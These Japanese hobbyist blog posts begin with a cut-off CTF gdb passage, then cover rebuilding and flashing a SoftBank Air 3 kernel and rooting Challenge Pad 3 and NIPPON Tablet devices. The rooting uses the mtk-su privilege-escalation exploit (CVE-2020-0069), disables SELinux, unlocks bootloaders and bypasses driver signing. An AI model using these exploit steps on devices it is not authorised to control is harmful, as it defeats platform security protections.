libc-start.c - csu/libc-start.c - Glibc source code (glibc-2.33.9000) - Bootlin
と書かれており、第一引数にmain関数を渡している事が確認できる。
x86-64の関数呼び出しでは、第一引数がRDIレジスタに設定されているので、__libc_start_main
が呼び出された直後のRDIレジスタを見れば、main関数のアドレスがわかると思われる。
実際に確認してみる。
gdb-peda$ b __libc_start_main Breakpoint 1 at 0x7ffff7de3fc0: file ../csu/libc-start.c, line 137. gdb-peda$ run Starting program: /home/t3mp/CTF/pwnable.xyz/image/challenge/challenge [----------------------------------registers-----------------------------------] RAX: 0x1c RBX: 0x0 RCX: 0x555555554ba0 (push r15) RDX: 0x7fffffffdda8 --> 0x7fffffffe14f ("/home/t3mp/CTF/pwnable.xyz/image/challenge/challenge") RSI: 0x1 RDI: 0x555555554920 (push rbp) RBP: 0x0 RSP: 0x7fffffffdd88 --> 0x555555554a3a (hlt) RIP: 0x7ffff7de3fc0 (<__libc_start_main>: endbr64) R8 : 0x555555554c10 (repz ret) R9 : 0x7ffff7fe0d50 (endbr64) R10: 0x7ffff7ffcf68 --> 0x6ffffff0 R11: 0x202 R12: 0x555555554a10 (xor ebp,ebp) R13: 0x7fffffffdda0 --> 0x1 R14: 0x0 R15: 0x0 EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x7ffff7de3fb4 <_init+132>: mov rsi,QWORD PTR [rsp] 0x7ffff7de3fb8 <_init+136>: jmp 0x7ffff7de3f57 <_init+39> 0x7ffff7de3fba: nop WORD PTR [rax+rax*1+0x0] => 0x7ffff7de3fc0 <__libc_start_main>: endbr64 0x7ffff7de3fc4 <__libc_start_main+4>: push r15 0x7ffff7de3fc6 <__libc_start_main+6>: xor eax,eax 0x7ffff7de3fc8 <__libc_start_main+8>: push r14 0x7ffff7de3fca <__libc_start_main+10>: push r13 [------------------------------------stack-------------------------------------] 0000| 0x7fffffffdd88 --> 0x555555554a3a (hlt) 0008| 0x7fffffffdd90 --> 0x7fffffffdd98 --> 0x1c 0016| 0x7fffffffdd98 --> 0x1c 0024| 0x7fffffffdda0 --> 0x1 0032| 0x7fffffffdda8 --> 0x7fffffffe14f ("/home/t3mp/CTF/pwnable.xyz/image/challenge/challenge") 0040| 0x7fffffffddb0 --> 0x0 0048| 0x7fffffffddb8 --> 0x7fffffffe184 ("SHELL=/bin/bash") 0056| 0x7fffffffddc0 --> 0x7fffffffe194 ("SESSION_MANAGER=local/yame-cha:@/tmp/.ICE-unix/1501,unix/yame-cha:/tmp/.ICE-unix/1501") [------------------------------------------------------------------------------] Legend: code, data, rodata, value Breakpoint 1, __libc_start_main (main=0x555555554920, argc=0x1, argv=0x7fffffffdda8, init=0x555555554ba0, fini=0x555555554c10, rtld_fini=0x7ffff7fe0d50, stack_end=0x7fffffffdd98) at ../csu/libc-start.c:137 gdb-peda$ i r rdi rdi 0x555555554920 0x555555554920 gdb-peda$ x/20i 0x555555554920 0x555555554920: push rbp 0x555555554921: push rbx 0x555555554922: sub rsp,0x18 0x555555554926: mov rax,QWORD PTR fs:0x28 0x55555555492f: mov QWORD PTR [rsp+0x8],rax 0x555555554934: xor eax,eax 0x555555554936: call 0x555555554b4e 0x55555555493b: lea rdi,[rip+0x2e2] # 0x555555554c24 0x555555554942: call 0x5555555548b0 <puts@plt> 0x555555554947: mov edi,0x40000 0x55555555494c: call 0x5555555548e8 <malloc@plt> 0x555555554951: lea rsi,[rip+0x2d5] # 0x555555554c2d 0x555555554958: mov rdx,rax 0x55555555495b: mov rbx,rax 0x55555555495e: mov QWORD PTR [rax],0x1 0x555555554965: mov edi,0x1 0x55555555496a: xor eax,eax 0x55555555496c: call 0x5555555548f0 <__printf_chk@plt> 0x555555554971: lea rsi,[rip+0x2bf] # 0x555555554c37 0x555555554978: mov edi,0x1
関数のエピローグが確認できる上、動作を見てみてみるとmain関数に該当する処理である事がわかる。
main関数がわかったので、動的解析を進めることができそうだ。
ちなみに、静的解析の場合はLiveOverflow氏の以下の動画が大変参考になった。
というわけなので、pwnable.xyz頑張ります...
SoftBank Air 3のカーネルいじった時のメモ
工事がいらないのCMのあれ。
いつもの
この記事の内容を参考に行うあらゆる行為はすべて自己責任で行ってください
まえがき
あまり良い評価を聴かないSoftBank Air 3くんですが、はるろいど氏のブログを見てもらえばわかる通り、いじれば使える子になるようです。
それで、私のミスでメルカリの売上金が全部ポイントになる惨事が起こったので、この際買っちゃうかって事で家にお迎えする事になりました。
友達から貰った奴はAir3+(B610s-79a)で全くいじれなかったので...
(誰も得をしない大きさ比較画像)
はるろいど氏のブログに書いてありますが、実はこいつの中身はHuaweiのB618s-22dとさほど変わりなく、しかもandroidで動いています。びっくり。
なので、もう少し自由になろうとカーネルをいじってみました。そのメモ。
カーネル解析
純正ファームじゃadbもtelnetも使えず解析するのに少し不便なので、はるろいど氏のブログを参考に海外ファーム焼いた前提でやっていきます。
とりあえず、どこにbootが生えてるのか調べます。大体の泥端末なら/dev/block/platform以下とかにby-nameとかがあってそこからどのパテが何なのかが得られますが、Air3はMTDドライバーを使っているのでby-nameがないです。
しかしMTDドライバーの場合は/proc/mtdに各ブロックデバイスの役目が書いてあるようなので、とりあえずこれを見てみます。
# cat /proc/mtd dev: size erasesize name mtd0: 00080000 00040000 "m3boot" mtd1: 00080000 00040000 "fastboot" mtd2: 00300000 00040000 "nvbacklte" mtd3: 00300000 00040000 "nvdefault" mtd4: 00f00000 00040000 "nvimg" mtd5: 00500000 00040000 "nvdload" mtd6: 00300000 00040000 "oeminfo" mtd7: 00c00000 00040000 "kernel" mtd8: 00c00000 00040000 "kernelbk" mtd9: 00200000 00040000 "dts" mtd10: 00140000 00040000 "m3image" mtd11: 00800000 00040000 "dsp" mtd12: 00500000 00040000 "hifi" mtd13: 01000000 00040000 "vxworks" mtd14: 00200000 00040000 "wbdata" mtd15: 006c0000 00040000 "reserve2" mtd16: 00500000 00040000 "reserve3" mtd17: 00c00000 00040000 "om" mtd18: 01e00000 00040000 "app" mtd19: 03c00000 00040000 "webui" mtd20: 03200000 00040000 "system" mtd21: 01400000 00040000 "userdata" mtd22: 0e600000 00040000 "online" mtd23: 00a00000 00040000 "coredump" mtd24: 00000000 00040000 "nullMTD" mtd25: 00000000 00040000 "nullMTD" mtd26: 00000000 00040000 "nullMTD" mtd27: 00000000 00040000 "nullMTD" mtd28: 00000000 00040000 "nullMTD" mtd29: 00000000 00040000 "nullMTD" mtd30: 00000000 00040000 "nullMTD" mtd31: 00000000 00040000 "nullMTD" mtd32: 00000000 00040000 "nullMTD" mtd33: 00000000 00040000 "nullMTD" mtd34: 00000000 00040000 "nullMTD"
あまり聞かないブートローダとお目当てのカーネル、あとandroidっぽい奴らと謎のnull層がありますね...
適当にスクリプト書いて全部ダンプしてみたんですが、nullMTDの中身は0xFFで埋められていました...謎。
それからkernelbkはバックアップ用っぽい感じかな(kernelとハッシュが一致した)
どのタイミングで使われるのか不明ですが...
[追記]mtdblock7が改変された場合にkernelbkで起動するようです。
多分、kernelとkernelbkを比較して異なった場合はkernelbkを起動させる仕組みだと思います。
後記しますが、書き換える場合はこっちも書き換える必要があります。
とまあ、カーネルがどこに生えてるのかわかったので、早速カーネルをひっぱり出して解析してみます。
# dd if=/dev/block/mtdblock7 of=/data/local/tmp/boot.img 17650+0 records in 17649+0 records out 9036288 bytes transferred in 1.963 secs (4603305 bytes/sec)
いつも通りadb pullしてbinwalkでカーネル部分だけ取り出します。
$ binwalk -e boot.img DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 128 0x80 Android bootimg, kernel size: 5618264 bytes, kernel addr: 0x46E10000, ramdisk size: 542800 bytes, ramdisk addr: 0x48008000, product name: "" 4224 0x1080 Linux kernel ARM boot executable zImage (little-endian) 22460 0x57BC gzip compressed data, maximum compression, from Unix, last modified: 1970-01-01 00:00:00 (null date) 5623936 0x55D080 gzip compressed data, from Unix, last modified: 1970-01-01 00:00:00 (null date) 6168704 0x5E2080 gzip compressed data, maximum compression, from Unix, last modified: 2017-02-25 08:45:55 $ file ./_boot.img.extracted/* ./_boot.img.extracted/5E2080: ASCII cpio archive (SVR4 with no CRC) ./_boot.img.extracted/55D080: ASCII cpio archive (SVR4 with no CRC) ./_boot.img.extracted/57BC : data
出てきた57BCがカーネル本体です。
ここでbinwalkの出力結果に少し注目して欲しいのですが、androidのbootの前に0x80の大きさを持つ謎の空間が存在しています。
出力結果を元に取り出してみると...
$ dd if=boot.img bs=1 count=128 of=head.img 128+0 レコード入力 128+0 レコード出力 128 bytes copied, 0.00376952 s, 34.0 kB/s $ strings head.img KERNEL $ hexdump head.img 0000000 454b 4e52 4c45 0000 0000 0000 0000 0000 0000010 0000 0000 0000 0000 0000 0000 0000 0000 * 0000030 0000 0000 d000 006f 8000 46e0 0000 0000 0000040 0000 0000 0000 0000 0000 0000 0000 0000 * 0000080
何かしらの目印っぽいですね。
ブートローダが判別するのに使うのかなーとか思っています(ブートローダ調べるのはまた今度で...)
つまるところ、Air3のboot.imgはこの謎ヘッダーと一般的なandroidのboot.imgで構成されているようです。
なので、作ったカーネルにこれをひっつけないとうまく動いてくれません...
次にカーネルをビルドする上で必要な.conifgを取り出します。
これは普通に/proc/config.gzにあるのでadb pullで取り出して展開すれば出てきます。
しかし私はこの時ちょうどAir3をいじりすぎて半文鎮状態にしてしまっていたので、boot.imgから取り出しました。
(文鎮からの復旧が結構面倒だったので...)
今後役に立つかもなので一応書いておきます。
binwalk -e 57BC DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 384 0x180 device tree image (dtb) 1978049 0x1E2EC1 Certificate in DER format (x509 v3), header length: 4, sequence length: 5376 7241832 0x6E8068 Linux kernel version 3.10.5 7254728 0x6EB2C8 gzip compressed data, maximum compression, from Unix, last modified: 1970-01-01 00:00:00 (null date) 8255658 0x7DF8AA MPEG transport stream data 8256418 0x7DFBA2 MPEG transport stream data 8256450 0x7DFBC2 MPEG transport stream data 9459332 0x905684 Unix path: /dev/mtd/mtd%d 9515912 0x913388 Unix path: /lib/firmware/updates/3.10.59 9574676 0x921914 Unix path: /dev/block/mtdblock 9575792 0x921D70 Unix path: /dev/block/mtdblock%d 9634160 0x930170 Unix path: /sys/devices/platform/balong_led/leds/Balong_dr%d/%s 9763492 0x94FAA4 Unix path: /sys/kernel/debug/modem_diag/diag 9949236 0x97D034 Unix path: /sys/power/autosleep 10014929 0x98D0D1 PARity archive data - file number 20548 10133024 0x9A9E20 Unix path: /dev/block/mmcblk%dp1 10133108 0x9A9E74 Unix path: /dev/block/mmcblk%d 10136288 0x9AAAE0 Unix path: /dev/block/mmcblk0 10154683 0x9AF2BB Copyright string: "Copyright 2005-2007 Rodolfo Giometti <giometti@linux.it>" 10312232 0x9D5A28 Neighborly text, "NeighborSolicits6InDatagrams" 10312252 0x9D5A3C Neighborly text, "NeighborAdvertisementsorts" 10323946 0x9D87EA Neighborly text, "neighbor %.2x%.2x.%pM lost timer expired" 11048856 0xA89798 ASCII cpio archive (SVR4 with no CRC), file name: "dev", file name length: "0x00000004", file size: "0x00000000" 11048972 0xA8980C ASCII cpio archive (SVR4 with no CRC), file name: "dev/console", file name length: "0x0000000C", file size: "0x00000000" 11049096 0xA89888 ASCII cpio archive (SVR4 with no CRC), file name: "root", file name length: "0x00000005", file size: "0x00000000" 11049212 0xA898FC ASCII cpio archive (SVR4 with no CRC), file name: "TRAILER!!!", file name length: "0x0000000B", file size: "0x00000000" 11059200 0xA8C000 CRC32 polynomial table, little endian 11191515 0xAAC4DB LZMA compressed data, properties: 0xC0, dictionary size: 0 bytes, uncompressed size: 32 bytes 11428268 0xAE61AC Unix path: /sys/class/leds/power_led:green/brightness $ file _57BC.extracted/* _57BC.extracted/6EB2C8: Linux make config build file, ASCII text _57BC.extracted/A89798.cpio: ASCII cpio archive (SVR4 with no CRC) _57BC.extracted/AAC4DB: data _57BC.extracted/AAC4DB.7z: dBase III DBT, version number 0, next free block index 192 _57BC.extracted/cpio-root: directory $ head _57BC.extracted/6EB2C8 # # Automatically generated file; DO NOT EDIT. # Linux/arm 3.10.59 Kernel Configuration # CONFIG_ARM=y CONFIG_MIGHT_HAVE_PCI=y CONFIG_SYS_SUPPORTS_APM_EMULATION=y CONFIG_HAVE_PROC_CPU=y CONFIG_STACKTRACE_SUPPORT=y CONFIG_HAVE_LATENCYTOP_SUPPORT=y
どうやらカーネル本体のすぐ下にあるgzipがconfig.gzにあたる部分のようで、binwalkがこれを取り出して展開したものを6EB2C8として出力してくれているみたいです。
カーネルビルド
カーネルコンフィグが手に入ったので早速ビルドしてみます。
SoftBank Air 3はソースコードが公開されてないようですが、上に書いた通り中身はB618sとさほど変わらないようですし、B618sのファームウェアから取り出した.configと比較したところ中心部の設定はあんまり変わらない事からB618sのソースコードがそのまま使える予感がしたのでやってみます。
(77aの.configの下にB618sとのdiffの出力結果を貼ってます)
B618sからUSB関連とサウンド関連(?)が削られた感じですね。
USBメモリとかが読めないのはこれで削られていたからなんですね...
B618sのソースは以下から落としてください。
[追記]ビルドが普通にできるやつをGitHubに上げたので、そっち使ってください。
README通りにやればext4とUSBストレージが使えてSELinuxがDisabledなカーネルができるはずです。
落として中身を見てもらえばわかりますが、gcc 4.7を使う必要があるみたいです。
そこそこ古いですね...
最新のディストリとかだとレポジトリから拾えないし面倒なので、今回はQuaStationの時にお世話になったBanana Piのカーネルビルド用Dockerを使いました。
ここを参考にpullして走らせます。
そしたらARM用gcc 4.7をインストールしていきます。
# apt-get install gcc-4.7-arm-linux-gnueabi
そのままだとクロスコンパイル時の指定が面倒なので名前を変更
# mv /usr/bin/arm-linux-gnuebi-gcc-4.7 /usr/bin/arm-linux-gnuebi-gcc
ソースrar中のandroid-4.4.1.tar.gzを適当に展開したら77aの.configを置いてmake menuconfig。
ここでUSBを使えるようにしたり、ext4対応させたり、SELinuxをDisabledにしたりできます。
終わったらEsc二回押しで保存。
あとは保存したのをコンフィグ用ディレクトリに放り込んでREADMEに従ってmakeするだけです。
# mv .config arch/arm/configs/B610_defconfig # chmod 777 arch/arm/configs/B610_defconfig # mkdir ../out # make ARCH=arm O=../out B610_defconfig (出力略) # make ARCH=arm CROSS_COMPILE=arm-linux-gnueabi- O=../out -j8 (出力略)
うまくいけば、カレントディレクトリの一個手前のoutフォルダに色々入っています。
なんかもっと綺麗に出力する方法があった気がしますが...
今回必要になるのはzImageなので、これを母艦に移動させます。
上のboot.imgをbinwalkでバラした時の出力にあるようにzImageが使われているので、これを入れ替えようっていう魂胆です。
# cd ../out # cp arch/arm/boot/zImage $HOME
(母艦のターミナル) $ sudo docker cp <コンテナID>:/root/zImage .
コンテナIDはdocker psとかで調べてください。
boot.img改変
zImageをboot.imgに組み込んでヘッダをつけます。
最初はbinwalkとddでやろうかと思ってたんですが、今後もいじる事を考えると面倒だなって事でAndroid Image Kitchenを使う事にしました。
これを使って引っ張り出したboot.imgをバラします。
謎ヘッダ付きでもバラしてくれるので脳死で投げればOKです。
$ cd AIK-Linux $ cp /path/to/boot.img . (名前がboot.imgじゃないとダメそうなので注意) $ ./unpack.sh Android Image Kitchen - UnpackImg Script by osm0sis @ xda-developers Supplied image: boot.img Setting up work folders... Image type: AOSP Splitting image to "split_img/"... Android magic found at: 128 BOARD_KERNEL_CMDLINE BOARD_KERNEL_BASE 46e08000 BOARD_NAME BOARD_PAGE_SIZE 4096 BOARD_HASH_TYPE sha1 BOARD_KERNEL_OFFSET 00008000 BOARD_RAMDISK_OFFSET 01200000 BOARD_SECOND_OFFSET 00f00000 BOARD_TAGS_OFFSET 00000100 BOARD_HEADER_VERSION 0 Unpacking ramdisk (as root) to "ramdisk/"... Compression used: gzip 1922 ブロック Done!
バラしたらdocker cpしてきたzImageと入れ替えます。
$ ls split_img/ | grep zImage boot.img-zImage $ cp -f /path/to/zImage split_img/boot.img-zImage
あとは再構築して謎ヘッダを添えれば完成です。
$ ./repack.sh Android Image Kitchen - RepackImg Script by osm0sis @ xda-developers Packing ramdisk (as root)... Using compression: gzip Getting build information... kernel = boot.img-zImage second = boot.img-second cmdline = board = base = 46e08000 pagesize = 4096 kernel_offset = 00008000 ramdisk_offset = 01200000 second_offset = 00f00000 tags_offset = 00000100 header_version = 0 hash = sha1 Building image... Using format: AOSP Done! $ ls authors.txt* boot.img head.img ramdisk/ repackimg.sh* unpackimg.sh* bin/ cleanup.sh* image-new.img ramdisk-new.cpio.gz split_img/ $ cat head.img image-new.img > own_kernel.img
あとは実機にて直接書き込むだけです。
$ adb push own_kernel.img /data/local/tmp $ adb shell # dd if=/data/local/tmp/own_kernel.img of=/dev/block/mtdblock7 [追記]バックアップ用ブロックにも書き込んでください。 # dd if=/data/local/tmp/own_kernel.img of=/dev/block/mtdblock8
再起動した後にuname -aを実行してカーネルのビルド日時がやたら新しくなっていたら成功です。
こんな感じでカーネルいじれる事がわかったので、学業やりながらボチボチと色々やっていこうと思います。
OpenWrt移植とかやってみたいんですけど、いかんせんブートローダが完全にandroid用なので色々工夫する必要がありそうです。
まあ、それが楽しいんですけどね。
CTFとかはしばらく座学して、学業落ち着いたら実践やります...
チャレンジパッド3はMagiskの夢を見るか?
あくまでも夢。
いつもの
この記事の内容を参考に行うあらゆる行為はすべて自己責任で行ってください
後述しますが、今回のは少し危なっかしいです...
大きめの教育的文鎮ができても泣かないように。
まえがき
最近、えたいの知れない不吉な塊が上に乗っかってきて何もできずに数日天井を見つめていたのですが、ふとandroid周りの興味が出たので色々漁っていたら以下のような記事を見つけました。
昔からrootするの大変だったXperiaが!?って結構驚いたのは置いておいて、元のexploitが気になったので情報元のXDA見てたのですが、exploitと一緒に一時rootからMagiskを入れるスクリプトがあったので、これを放置気味のチャレパ3に転用できないかなって事で少しいじりながらやってみました。
結論から言えばできたのですが、以下のような条件付きです。
できること
- root権限の奪取
- ごく一部のMagiskモジュールの動作
- Magiskの動作画面を拝む
できないこと
- systemに書き込む
やるとマズイこと
- boot領域への書き込み
Magiskモジュールはsystemへの書き込みができないので結構限られてきます。
systemの書き込みができない理由としてはNIPPON Tabletのやつでも出てきたdm-verityくんが邪魔してるからです。
これを解除する方法は色々ありますが、どれも大体boot領域をいじっています。
しかしチャレンジパッド3だとこれが問題で、起動するイメージ(bootとかリカバリー)が公式のイメージではないものだと起動しません。
つまり、boot領域をいじって起動すると詰みます。これが上で書いた危なっかしい理由です。
導入したMagiskモジュールがboot領域いじる奴だった上に気づかず再起動なんかしたら教育的文鎮の完成です。
じゃあブートローダの認証プロセス飛ばせばいいじゃんかってなりますが、チャレパ2で使えてた例のアレも塞がれたし、ブートローダはマイナーな奴だしで正直打つ手がないです。
そんなわけなので、boot領域とsystem領域がいじれない状態でしか遊べません。
systemlessホストで広告ブロックしたり、chrootでLinuxディストリ動かしたりくらいしか思い浮かびませんが...
方法
デフォルトだと提供元不明のアプリがオフの上に設定から抹消されてるらしいので、adb使ってどうにかします。
adbの導入方法については各自調べてください。
adb shell settings put secure install_non_market_apps 1
これでアプリを自由につっこめます。
初期のランチャーだとアプリが表示されないので、適当にランチャーアプリを入れておきましょう。
今回は前述したスクリプトを調整&自動化したものを実行するので、Termuxを使用します。
自動化の都合上アドオンのTermux Bootも必要です。
F-Droidとかから適当につっこみます。
Termux Bootを一度起動させたら早速Termuxを起動。
以下のコマンドを入力します。
$ termux-setup-storage
確認用のダイアログが出たら許可してください。
そしたら以下のリンクからスクリプト群と、スクリプトに必要なファイルを落とします。
- スクリプト本体
- mtk-su
https://forum.xda-developers.com/attachment.php?attachmentid=5014623&d=1588992942
- Magisk本体
https://github.com/topjohnwu/Magisk/releases/download/v20.4/Magisk-v20.4.zip
スクリプト本体のzip内のMI4CPad3フォルダを内部ストレージのルートに置いた後、mtk-suのzip内のarm64フォルダ内にあるmtk-suバイナリとMagiskのzipを先程のMI4CPad3フォルダに投げ込めばOKです。
しっかりと配置すれば以下のようになるはず...
$ ls MI4CPad3 Magisk-v20.4.zip READEME.txt busybox magisk-install.sh magisk-setup.sh magisk-start.sh mtk-su
ファイルの構成を正しくしないとスクリプトは動かないので注意です。 あとはTermux上でスクリプトを持ってきて実行するだけです。
(Termux上のターミナルで) $ cp ./storage/shared/MI4CPad3/magisk-install.sh . $ chmod 755 magisk-install.sh $ ./magisk-install.sh
特に不具合や手順ミスがないならMagisk ManagerからMagiskの動作が確認できますし、suが使えるはずです。
それから次回起動時に自動で実行してMagiskが動くようにもなってる...はず。
実際にやってみるとわかるんですけど、Magiskが使えるようになるまでそこそこかかります。(起動して1分くらい)
もっと高速化できますが、とりあえず完成って事で...
気が向いたら整理と高速化してリンク修正しておきます。
NIPPON Tabletを普通のタブレットに更生させたお話。
一部で噂になってた詐欺タブレットNIPPON Tabletの足を洗って、普通のタブレットに更生させるまでのお話。
2020/11/08[追記]
28chさんのおかげさまで、TWRPやLineage OS等の起動が可能になりました!
ただし、いくつかの不具合が確認されていますので、自己責任でお願いします。
そして、バックアップは必ず取りましょう。
MEGAのリンク:
https://mega.nz/folder/qpB2wTRJ#X2uN8WnHuFzKLSX_M_0tGQ
これに伴いMagiskやOpenGAppsの導入がかなり楽になったため、記事の一部を改変、追記しました。
28chさんありがとうございます!(詳細はこの記事のコメント欄に書いてあります)
2021/03/13[追記]
この手法やリカバリーイメージは型番がNT-J1の端末を想定したものであり、類似した端末であるNT-S1は想定しておりません。
見分け方についてですが、NT-S1はインカメラが上部の中心についています。
NT-J1は上部の左寄りです。
NIPPON Tablet
NIPPON Platform株式会社が展開していた(過去形)NIPPON PAYやその他各種決済用に使われていたタブレットでした。
どうも会社がやらかしてしまったらしく、加盟店への支払いが2019年11月あたりから行われていないみたいです。
詳しくは調べれば出てくるので割愛しますが、要約するとNIPPON PAYが大失敗した結果、決済に使われていたこのNIPPON Tabletがフリマ等に流れる事態になりました。
NIPPON Platformっていう決済系の会社が7月までにサービス終了するらしいけど、決済とかにNIPPON Tabletっていう端末を使ってるらしいから、これがフリマにばら撒かれるのを期待してる。
— てんぷ (@t3mpwn) 2020年4月18日
あったわ pic.twitter.com/u9x5C0Eup2
— てんぷ (@t3mpwn) 2020年4月18日
タブレットの詳しいスペックや技適、その他情報はhoneylab様がまとめてくださってるのでそちらを参考にしてください。
NIPPON Tabletの名を背負って中国製なの笑えますね(もしや狙っていたのでは)
ここではこれを使えるタブレットにするまでの流れを書いていきます。
すべて自己責任で行ってください。
追記:下準備
2021/02/24 追記 : ヤフオクでこの端末が激安で投げられているらしく、思っていたよりも需要があるようなので追記しました。
adb導入
adbコマンドを使用できるようにする方法についてですが、以下のツールをおすすめします。
具体的な方法や、インストール後の対応についても、上のサイト様がご丁寧に解説されてあるので、省略します。
USBドライバ導入
これについては、本記事コメント欄に颯爽と現れた名無しさんが大変丁寧に説明されていますので、それをありがたく引用させていただきます。
googleのUSB Driverを下記のサイトから落としてください。
https://developer.android.com/studio/run/win-usb
展開して中に入っているandroid_winusb.infをメモで開き、[Google.NTx86]と[Google.NTamd64]の欄に以下を追加して上書きします。
;NIPPON Tablet NTJ1 %CompositeAdbInterface% = USB_Install, USB\VID_0BB4&PID_0C01&REV_0100 %CompositeAdbInterface% = USB_Install, USB\VID_0BB4&PID_0C01
;NIPPON Tablet NTJ1は書き込まなくてもokです。
続けてドライバの更新ですが、Windows10では署名のないドライバは拒否されるのでテストモードで更新します。 管理者権限のコマンドで以下を入力して下さい。
bcdedit /set TESTSIGNING ON
再起動してテストモードにします。 ドライバを更新します。署名がないので警告が出ますが更新できます。 更新したら再度、管理者権限のコマンドで以下を入力します。
bcdedit /set TESTSIGNING OFF
再起動してテストモードを終了して完了です。
比較的新しいPCでセキュアブートが有効ですと無効にして作業する必要があります。 私のPCは古くてサポートしていなかったので問題なかったですw
以下のサイトが参考になります。 https://tek2tech.com/android-usb-debug-driver-for-windows/ https://4thsight.xyz/4958
お問い合わせ
コメント欄をみる限りでは、この2つがハマりポイントかなと思ったので追記しました。
しかし、もし他に何か問題があるのであれば、Twitterかメールにご連絡ください。
Mail : newtikuwa.mk7★gmail.com
ブートローダのアンロック
起動したらいつもどおりビルド番号連打で開発者オプションを出してUSBデバッグ(ADB)とOEMロック解除の項目をONにします。
そしたら母艦PCから
$ adb reboot bootloader <左下にfastbootの表示がでるのを待つ> $ fastboot oem unlock <端末側に本当にええんかと表示が出るのでYESを選択>
[追記] fastbootになっているのか不安な時は、fastboot devicesを実行してみてください。
ここで何の表示もない場合は、ドライバが導入できていないか、使用しているUSBケーブルに問題がある可能性が高いです。
いつもの流れですね。
ちなみにBLUすると、「お前の端末セキュリティ的に信用できんから注意しとけよ」的な表示がでて、起動まで5秒待たされます。
とりあえず起動したら不要なアプリを無効化します。
位置情報とか送信してるっぽい(デフォルトで位置情報ON。しかも高精度モード)ので、せっせと無効化します。
「ランチャーアプリ」っていうアプリだけ無効化できないのでadbで黙らせます。
$ adb shell pm uninstall -k --user 0 com.nippon_pay.launcher
[追記]TWRP導入
ブログ最初の方でちょろっと書いていたように、TWRPの起動が可能になったので、その方法と、この項以降の作業についての追記です。
まず初めに以下のリンクからTWRPイメージその他をダウンロードします。
https://mega.nz/folder/qpB2wTRJ#X2uN8WnHuFzKLSX_M_0tGQ
(28chさん提供。ありがとうございます。)
電源ボタン+音量上 or シェルでadb reboot bootloaderでfastbootモードに入ります。
(ボタンコンボの場合は選択画面に入った後にボタン上で選択、ボタン下で決定できるので、fastboot modeを選択)
そしたらTWRPイメージを焼きます。
fastboot falsh recovery TWRP_infinix_x556[NTJ1].img
焼き終わったらボタンコンボ or adb reboot recoveryでTWRPが起動するはずです。
前述の予期せぬ需要増加に伴い、TWRPの使用方法について簡易的に記載しておきます。
TWRPは、端末のバックアップ、復元、改変を可能にするリカバリーの事です。
今回のNIPPON Tabletの場合は、音量上を押しながら起動した後に出てくる画面で、音量上ボタンでRecovery Modeを選択し、音量下ボタンで決定する事で起動できます。
端末の改変については、改変用のzipを実機でダウンロードした後、TWRPにてInstallを選択し、そのzipを選択すれば、自動で書き換えてくれます。
NIPPON Tabletで使用可能なOpenGAppsのリンク
https://jaist.dl.sourceforge.net/project/opengapps/arm64/20210224/open_gapps-arm64-7.0-nano-20210224.zip
TWRPを使用したMagiskの導入について
zunda-hack.com
dm-verity解除
forum.xda-developers.com
また、MEGAにあるファイル群Lineage OSのバックアップがあるので、それをリストアすればLineage OSも動きます。
$ adb push 2020-11-05--08-02-38_lineage_X556-userdebug_712_NJH47F_7b16bce01/ /sdcard/TWRP
の後にTWRPのRestoreからバックアップを選択すれば焼けます。
ただし他機種からの移植なので、念の為ストックのバックアップは取っておきましょう。
Magisk導入
導入する前に各イメージのバックアップをとります。
現状、この端末でTWRPを起動させることができなさそうなので、バックアップをとっておかないと危ない橋を渡ることになります...(一敗)
バックアップするのはbootとsystemです。dataは純正リカバリーからリセットすれば戻せます。
書きそこねましたが、NIPPON Tabletは
- 音量上+電源 => fastboot起動
- 音量下+電源 =>中華の謎リカバリー起動
といった感じで分岐できます。
普通のリカバリーに入りたい場合は、fastbootからRecovery modeを選ばないと起動できません。少し面倒...
というわけでバックアップをとります。
しかしshell権限ではbootイメージが取れないので、rootを奪取します。
rootには最近CVE-2020-0069がふられたmtk-suを使用します。
詳細は省きますが、大体のMediaTek端末で一時root+SELinux無効化(Permissive)できるやばいやつです。
https://forum.xda-developers.com/attachment.php?attachmentid=4971443
Google、Androidの月例セキュリティ情報を発表 ~Amazon FireなどMediaTek端末でルートを奪取される問題にも対処 - 窓の杜
落としたらarm64の中のmtk-suを突っ込んでイメージ取ります。
$ adb push <mtk-suへのパス> /data/local/tmp $ adb shell chmod +x /data/local/tmp/mtk-su $ adb shell /data/local/tmp/mtk-su -c dd if=/dev/block/mmcblk0p7 of=/data/local/tmp/boot_native.img $ adb shell /data/local/tmp/mtk-su -c dd if=/dev/block/mmcblk0p20 of=/data/local/tmp/system.img $ adb shell /data/local/tmp/mtk-su -c chown shell.shell /data/local/tmp/boot_native.img $ adb shell /data/local/tmp/mtk-su -c chown shell.shell /data/local/tmp/system.img $ adb pull /data/local/tmp/boot_native.img $ adb pull /data/local/tmp/system.img $ adb shell mv /data/local/tmp/boot_native.img /sdcard
(bootイメージは後々使うので移動させてます。)
pullしたら、どこかわかりやすい場所に保管しておきましょう。
保管したら、Magisk Managerをインストールします。
TWRPが動かないので、Magisk Managerでbootイメージにパッチを当ててそれを起動させようという考えです。
https://github.com/topjohnwu/Magisk/releases/download/manager-v7.5.1/MagiskManager-v7.5.1.apk
Magisk Managerを起動したあとにMagiskをインストールを選択後パッチを当てます。
(少しフライングして直接インストールが推奨って出てますがスルーしてください...)
あとはsdcardに移したboot_native.imgを選択すれば/sdcard/Downloadsにmagisk-patched.imgが生成されるので、これを母艦に移してfastbootで起動テストをします。
$ adb pull /sdcard/Downloads/magisk_patched.img $ adb reboot bootloader $ fastboot boot magisk_patched.img
無事に動いたらこんがり焼きます。
<ボタンコンボなりadbなりでfastbootへ> $ fastboot flash boot magisk_patched.img
とりあえずこれでMagiskは導入完了です。
dm-verity
rootとれたし自由だバンザイしたいところですが、残念ながらこの端末は泥遊びオタクの敵dm-verityをのっけてます。
ざっくり説明すると、rootだろうが/system以下は書き込ませないマンです。
自由がウリのandroidになんてもん追加してんだ
一応、これはブートローダからコマンドで解除できます。
できるはずなんですけど、何故かNIPPON Tabletはそのコマンドがありません!
BLUはできるのにこれはできない。本当に謎すぎる。
$ fastboot oem disable_dm_verity ... FAILED (remote: unknown command) finished. total time: 0.002s
一応、これを解除する方法は他にもあって、fstabをいじるとかTWRPから解除するスクリプト焼くとかがあるんですけど、
fstabにはそもそも記述なし。TWRPはソース入手が怪しい上に、移植、純正リカバリから生成したやつが動かないので無理そう...
(よどがわさんにビルドしてもらいました。感謝。)
